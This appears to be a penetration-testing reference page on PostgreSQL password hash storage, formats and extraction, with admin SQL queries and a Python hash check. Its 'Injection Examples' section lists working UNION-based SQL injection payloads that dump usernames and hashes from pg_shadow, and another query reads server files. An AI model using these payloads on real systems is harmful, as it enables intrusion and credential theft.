Understanding how PostgreSQL stores passwords is crucial for exploiting extracted credentials. PostgreSQL has evolved its password hashing mechanisms over time.
Password Storage Location
PostgreSQL stores password hashes in the pg_authid system catalog (rolpassword column). The pg_shadow view is a backwards-compatibility layer that exposes this data for legacy clients. Prior to PostgreSQL 8.1, pg_shadow was a physical table; in 8.1 and later, it's a view over pg_authid. Both require superuser privileges to access.
-- Primary catalog (PostgreSQL 8.1+, requires superuser)
SELECT rolname, rolpassword FROM pg_authid WHERE rolcanlogin;
-- Legacy compatibility view (requires superuser)
SELECT usename, passwd FROM pg_shadow;
Hash Formats
PostgreSQL supports multiple password hash formats:
| Format | PostgreSQL Version | Description |
|---|---|---|
| MD5 | All versions | md5 + MD5(password + username) |
| SCRAM-SHA-256 | 10+ (default in 14+) | SCRAM authentication |
| Plain text | Deprecated | Cleartext (very old installations) |
MD5 Hash Format
The traditional PostgreSQL MD5 hash:
md5<32 hex characters>
The hash is calculated as:
'md5' || MD5(password || username)
Example:
-- For user 'postgres' with password 'secret':
SELECT 'md5' || md5('secretpostgres');
-- Result: md5d578ec61fc8a2bdbe7df2c3096b34e02
SCRAM-SHA-256 Format
Modern PostgreSQL uses SCRAM-SHA-256:
SCRAM-SHA-256$<iterations>:<salt>$<StoredKey>:<ServerKey>
Example:
SCRAM-SHA-256$4096:salt$StoredKey:ServerKey
Where:
- iterations: Number of PBKDF2 iterations (e.g., 4096)
- salt: Base64-encoded random salt
- StoredKey: Base64-encoded derived key used for client authentication
- ServerKey: Base64-encoded server verification key
Extracting Password Hashes
-- Get all password hashes (requires superuser)
SELECT usename, passwd FROM pg_shadow;
-- Get specific user hash
SELECT passwd FROM pg_shadow WHERE usename = 'admin';
-- Get users with MD5 passwords
SELECT usename, passwd FROM pg_shadow WHERE passwd LIKE 'md5%';
-- Get users with SCRAM passwords
SELECT usename, passwd FROM pg_shadow WHERE passwd LIKE 'SCRAM%';
Injection Examples
-- Extract all credentials
' UNION SELECT NULL,usename||':'||passwd,NULL FROM pg_shadow--
-- Target specific user
' UNION SELECT NULL,passwd,NULL FROM pg_shadow WHERE usename='postgres'--
-- Check hash type
' UNION SELECT NULL,CASE WHEN passwd LIKE 'md5%' THEN 'MD5' WHEN passwd LIKE 'SCRAM%' THEN 'SCRAM' ELSE 'UNKNOWN' END,NULL FROM pg_shadow WHERE usename='postgres'--
Checking Password Encryption Setting
-- Check current setting
SHOW password_encryption;
-- Or using current_setting
SELECT current_setting('password_encryption');
Possible values:
md5- Use MD5 hashingscram-sha-256- Use SCRAM-SHA-256 (default in PostgreSQL 14+)
Creating Test Hashes
For verification purposes:
-- Generate MD5 hash for testing
SELECT 'md5' || md5('password' || 'username');
-- This matches how PostgreSQL stores MD5 passwords
Verifying Extracted Hashes
To verify an MD5 hash is valid:
# Python 3
import hashlib
password = 'secret'
username = 'postgres'
expected_hash = 'md5' + hashlib.md5((password + username).encode('utf-8')).hexdigest()
print(expected_hash)
Authentication Methods
Check pg_hba.conf for authentication methods:
-- Get hba_file location
SELECT current_setting('hba_file');
-- Read the file (requires superuser)
SELECT pg_read_file(current_setting('hba_file'));
Security warning: pg_read_file() requires superuser privileges (or pg_read_server_files role in PostgreSQL 11+) and can read arbitrary files from the server filesystem. This creates significant information-disclosure risk if credentials are compromised. Restrict superuser access and avoid using this function in untrusted environments.
Notes
pg_shadowis only accessible to superusers- MD5 hashes include the username, making rainbow tables less effective
- SCRAM-SHA-256 is significantly more secure than MD5
- Password hashes alone may not be useful if the server requires specific authentication methods
- Some installations may use external authentication (LDAP, Kerberos, etc.)
See Password Cracking for techniques to recover plaintext passwords from hashes.